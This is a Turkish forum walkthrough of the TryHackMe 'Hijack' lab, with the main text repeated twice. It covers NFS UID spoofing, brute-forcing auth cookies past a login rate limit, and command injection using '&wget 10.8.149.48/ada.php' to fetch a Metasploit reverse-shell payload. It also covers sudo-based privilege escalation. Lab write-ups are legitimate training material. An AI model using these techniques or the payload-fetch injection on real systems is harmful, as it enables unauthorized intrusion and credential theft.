- 14 Eki 2022
- 581
- 489
TryHackMe | Hijack
merhaba arkadaşlar, bu konumda sizlere tryhackme.com platformunda ki "hijack" adlı makinenin çözümünü göstereceğim.
ilk olarak her zaman ki gibi bir port taraması yaparak başlıyoruz
tarama sonucunda 4 tane portun açık olduğunu görüyoruz. ilk önce 2049 portu yani nfs servisi üzerinden yürüyeceğiz. içerisinde paylaşıma açık bir dizin var ise bunu kendi oluşturduğumuz dizine mount ederek içerisinde ki bilgilere erişeceğiz. paylaşıma açık olan dizinleri görüntüleyebilmek için "showmount -e 10.10.196.230" komutunu kullanalım.
/mnt/share paylaşımının herkese açık olduğunu görüyoruz. "sudo mount -t nfs 10.10.196.230:/mnt/share /tmp/portakal" komutunu kullanarak bu dizini /tmp/portakal dizinine mount ettikten sonra dizine gitmeye çalıştığımızda bize yetkimizin olmadığını söylüyor. bu dizine erişebilmemiz için UID değerimizin 1003 olması gerekiyormuş. yeni bir kullanıcı oluşturalım ve bu kullanıcının uid değerini 1003 olarak ayarlayalım.
dizinin içerisinde ftp kullanıcı bilgileri bulunuyormuş bu bilgileri kullanarak ftp servisine giriş yapalım.
.from_admin.txt dosyası içerisinde rick diye birinin şifre denemelerine sınırlama getirdiğini yazıyor. bununla birlikte admin de dahil olmak üzere tüm kullanıcıların .passwords_list.txt dosyası içerisinde ki şifreleri kullandığı yazıyor. bize bir şifre listesi vermişler ve brute force yapamamamız için bir önlem almışlar, aman ne hoş. şimdi bu şifrelerin nereye ait olduğunu bulmamız gerekiyor.
web uygulamasının üzerinde yönetici, giriş, ve kayıt sayfası yer alıyor. admin sayfasına admin olmadığımız için giremiyoruz.
login sayfasında her 5 şifre denemesinde 5 dk bekleten bir algoritma mevcut. ama bu sadece var olan kullanıcılar için geçerli. gidip de veri tabanında bulunmayan bir kullanıcıya deneme yanılma saldırısı düzenlerseniz her hangi bir engel ile karşılaşmıyorsunuz.
tabi bizden bunu yapmamızı istemediğini tahmin etmek zor olmuyor. bir doğrulama yapmamız gerekiyor ki kullanıcı adı ve şifreyi öğrenip sisteme giriş yapabilelim. bunun bir yolu da kurabiyelerdir tabi eğer bir şey ifade ediyorlarsa. bir kullanıcı oluşturup, kurabiyelerine bakalım.
bu kurabiyeye iyi bakın, base64'e benziyor değil mi?
kurabiyemizin içerisinde kullanıcı adımız ve şifremizin md5 ile şifrelemiş hali bulunuyor. burp suite ile kullanıcı adını ve şifreyi bu şekilde gizleyerek bekleme engeline kapılmadan deneme yanılma saldırımızı gerçekleştirebiliriz.
burp suite ile isteği yakalayıp, intruder'a attıktan sonra yapmamız gereken sadece payload ayarlarını yapıp çalıştırmak kalıyor.
ilk form'u kullanarak deneyeceğimiz şifreleri girdik. ikinci form'a ise bu şifreleri md5 ile şifrelemesini, şifrelenmiş verinin başına admin: değerinin eklenmesini ve son olarak bu verilerin base64 ve url ile gizlenmesini belirtiyoruz. şimdi saldırıyı başlatalım.
deneme yanılma saldırısı başladıktan bir süre sonra, bir kurabiyenin farklı bir sayfa uzunluğu gönderdiğini görüyoruz (sayfada ki karakter sayısı). dönen cevaba baktığımızda doğru kurabiyeyi bulduğumuzu anlıyoruz.
kurabiyeyi değiştirip sisteme giriş yapalım.
yönetici sayfasında "service status checker" adında bir araç bulunuyor. bu araca bir servis girdiğimizde bu servisin var olup olmadığını sisteme komut göndererek öğreniyor ve sonucunu bize döndürüyor. yani burada bir command injection açığı bulunuyor :d metasploit ile bir php dosyası oluşturalım ve 80 portunu dinlemeye alalım. sonra ise &wget 10.8.149.48/ada.php komutunu kullanarak dosyamızı sisteme indirelim.
4444 portunu dinlemesi için kullanacağımız exploit/multi/handler modülünü de açtıktan sonra yüklediğimiz dosyayı çalıştıralım.
/home dizinini kontrol ettiğimizde rick isimli bir kullanıcı olduğunu görüyoruz. içerisinde ki user.txt dosyasını okumak için yeterli yetkimiz yok.
bulunduğumuz konumda config.php adında bir dosya var. bu dosya içerisinde ise rick adlı kullanıcının şifresi bulunuyor. şifreyi kullanarak rick kullanıcısına geçiş yaptıktan sonra /home/rick dizini içerisinden kullanıcı bayrağını alıyoruz.
sudo -l komutunu kullandığımızda, root yetkisiyle "/usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2" komutunu kullanabileceğimizi görüyoruz. tabi sadece bununla bir şey yapamayız. işaretlediğim ikinci yere bakın. onu google da arattığımız zaman nasıl yararlanabileceğimizi öğrenmiş oluyoruz.
ilk kutucukta ki kodu exploit.c adında bir dosya'ya kayıt edelim.
şimdi ise ikinci kutucukta ki komutları terminale girelim.
...
TryHackMe | Hijack
merhaba arkadaşlar, bu konumda sizlere tryhackme.com platformunda ki "hijack" adlı makinenin çözümünü göstereceğim.
ilk olarak her zaman ki gibi bir port taraması yaparak başlıyoruz
tarama sonucunda 4 tane portun açık olduğunu görüyoruz. ilk önce 2049 portu yani nfs servisi üzerinden yürüyeceğiz. içerisinde paylaşıma açık bir dizin var ise bunu kendi oluşturduğumuz dizine mount ederek içerisinde ki bilgilere erişeceğiz. paylaşıma açık olan dizinleri görüntüleyebilmek için "showmount -e 10.10.196.230" komutunu kullanalım.
/mnt/share paylaşımının herkese açık olduğunu görüyoruz. "sudo mount -t nfs 10.10.196.230:/mnt/share /tmp/portakal" komutunu kullanarak bu dizini /tmp/portakal dizinine mount ettikten sonra dizine gitmeye çalıştığımızda bize yetkimizin olmadığını söylüyor. bu dizine erişebilmemiz için UID değerimizin 1003 olması gerekiyormuş. yeni bir kullanıcı oluşturalım ve bu kullanıcının uid değerini 1003 olarak ayarlayalım.
dizinin içerisinde ftp kullanıcı bilgileri bulunuyormuş bu bilgileri kullanarak ftp servisine giriş yapalım.
.from_admin.txt dosyası içerisinde rick diye birinin şifre denemelerine sınırlama getirdiğini yazıyor. bununla birlikte admin de dahil olmak üzere tüm kullanıcıların .passwords_list.txt dosyası içerisinde ki şifreleri kullandığı yazıyor. bize bir şifre listesi vermişler ve brute force yapamamamız için bir önlem almışlar, aman ne hoş. şimdi bu şifrelerin nereye ait olduğunu bulmamız gerekiyor.
web uygulamasının üzerinde yönetici, giriş, ve kayıt sayfası yer alıyor. admin sayfasına admin olmadığımız için giremiyoruz.
login sayfasında her 5 şifre denemesinde 5 dk bekleten bir algoritma mevcut. ama bu sadece var olan kullanıcılar için geçerli. gidip de veri tabanında bulunmayan bir kullanıcıya deneme yanılma saldırısı düzenlerseniz her hangi bir engel ile karşılaşmıyorsunuz.
tabi bizden bunu yapmamızı istemediğini tahmin etmek zor olmuyor. bir doğrulama yapmamız gerekiyor ki kullanıcı adı ve şifreyi öğrenip sisteme giriş yapabilelim. bunun bir yolu da kurabiyelerdir tabi eğer bir şey ifade ediyorlarsa. bir kullanıcı oluşturup, kurabiyelerine bakalım.
bu kurabiyeye iyi bakın, base64'e benziyor değil mi?
kurabiyemizin içerisinde kullanıcı adımız ve şifremizin md5 ile şifrelemiş hali bulunuyor. burp suite ile kullanıcı adını ve şifreyi bu şekilde gizleyerek bekleme engeline kapılmadan deneme yanılma saldırımızı gerçekleştirebiliriz.
burp suite ile isteği yakalayıp, intruder'a attıktan sonra yapmamız gereken sadece payload ayarlarını yapıp çalıştırmak kalıyor.
ilk form'u kullanarak deneyeceğimiz şifreleri girdik. ikinci form'a ise bu şifreleri md5 ile şifrelemesini, şifrelenmiş verinin başına admin: değerinin eklenmesini ve son olarak bu verilerin base64 ve url ile gizlenmesini belirtiyoruz. şimdi saldırıyı başlatalım.
deneme yanılma saldırısı başladıktan bir süre sonra, bir kurabiyenin farklı bir sayfa uzunluğu gönderdiğini görüyoruz (sayfada ki karakter sayısı). dönen cevaba baktığımızda doğru kurabiyeyi bulduğumuzu anlıyoruz.
kurabiyeyi değiştirip sisteme giriş yapalım.
yönetici sayfasında "service status checker" adında bir araç bulunuyor. bu araca bir servis girdiğimizde bu servisin var olup olmadığını sisteme komut göndererek öğreniyor ve sonucunu bize döndürüyor. yani burada bir command injection açığı bulunuyor :d metasploit ile bir php dosyası oluşturalım ve 80 portunu dinlemeye alalım. sonra ise &wget 10.8.149.48/ada.php komutunu kullanarak dosyamızı sisteme indirelim.
4444 portunu dinlemesi için kullanacağımız exploit/multi/handler modülünü de açtıktan sonra yüklediğimiz dosyayı çalıştıralım.
/home dizinini kontrol ettiğimizde rick isimli bir kullanıcı olduğunu görüyoruz. içerisinde ki user.txt dosyasını okumak için yeterli yetkimiz yok.
bulunduğumuz konumda config.php adında bir dosya var. bu dosya içerisinde ise rick adlı kullanıcının şifresi bulunuyor. şifreyi kullanarak rick kullanıcısına geçiş yaptıktan sonra /home/rick dizini içerisinden kullanıcı bayrağını alıyoruz.
sudo -l komutunu kullandığımızda, root yetkisiyle "/usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2" komutunu kullanabileceğimizi görüyoruz. tabi sadece bununla bir şey yapamayız. işaretlediğim ikinci yere bakın. onu google da arattığımız zaman nasıl yararlanabileceğimizi öğrenmiş oluyoruz.
ilk kutucukta ki kodu exploit.c adında bir dosya'ya kayıt edelim.
şimdi ise ikinci kutucukta ki komutları terminale girelim.
...
TryHackMe | Hijack
Son düzenleme: